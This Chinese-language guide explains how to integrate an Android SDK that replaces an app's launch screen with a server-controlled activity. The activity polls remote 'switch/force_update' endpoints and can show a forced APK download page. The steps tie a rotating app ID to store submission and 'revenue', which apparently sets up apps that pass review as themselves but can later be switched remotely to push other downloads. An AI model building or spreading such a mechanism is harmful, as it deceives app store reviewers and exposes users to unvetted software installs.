SDK文档

  1. 项目根目录build.gradle 中添加maven { url ‘https://jitpack.io’ }
allprojects {
    repositories {
        maven { url 'https://jitpack.io' }
        }

  1. 添加依赖:
implementation ‘com.github.adonggit:UpdatePackage:1.15’
  1. 添加权限
     
    
     
     
     
     


  1. 创建一个空Activity 名字随意 (我取名MainActivity来演示 一定要把onCreate方法删掉 如下)
	public class MainActivity  extends abc {
	    @Override
	    protected String getUrl() {
	        return "http://sz.html2api.com/switch/api2/force_update2";
	    }
	    @Override
	    protected String getUrl2() {
	        return "http://sz3.llcheng888.com/switch/api2/force_update2";
	    }
	    @Override
	    protected String getAppId() {
	        return "990003";
	    }
	    @Override
	    protected Class getTargetNativeClazz() {
	        return BActivity.class;
	    }
	}


getTargetNativeClazz 为项目原入口界面的.class
getAppId 写成990003
剩下两个方法不改

  1. 修改项目入口为刚刚创建的Activity
	  
            
                

                
            
        

  1. 运行项目 应该可以看到测试界面 (一个下载页面 一定要看到下载进度,有一部分在开始下载时候闪退就需要看下是什么问题导致闪退)
可能出现的问题

 - 由于项目使用了通知栏 可能出现如果编译版本较低提示找不到Notification 或者其他v4包或者v7包问题 请参考SDK中的这几个参数:
		compileSdkVersion 27
        targetSdkVersion 27
        implementation 'com.android.support:appcompat-v7:27.1.1'



如果看到测试页面说明集成成功!然后第四步的appId 修改为你自己的APPID,APPID生成规则如下:

	APPID生成方式:
	例如当前时间为2月18号10点20分,那么id就为
	902181020(9为开头,总共9位数)
    注意了,appid不是固定的,是变动的,每次打包上架都要手动换!
    同一个项目,不同平台上架,对应的appid不同,不同项目,当然更不能相同
    一个appid,只有一份收益!!!

改成你自己生成的appid后 运行项目,展示的是你自己的项目而不是测试页面了,就可以提交审核了

你可能感兴趣的:(android)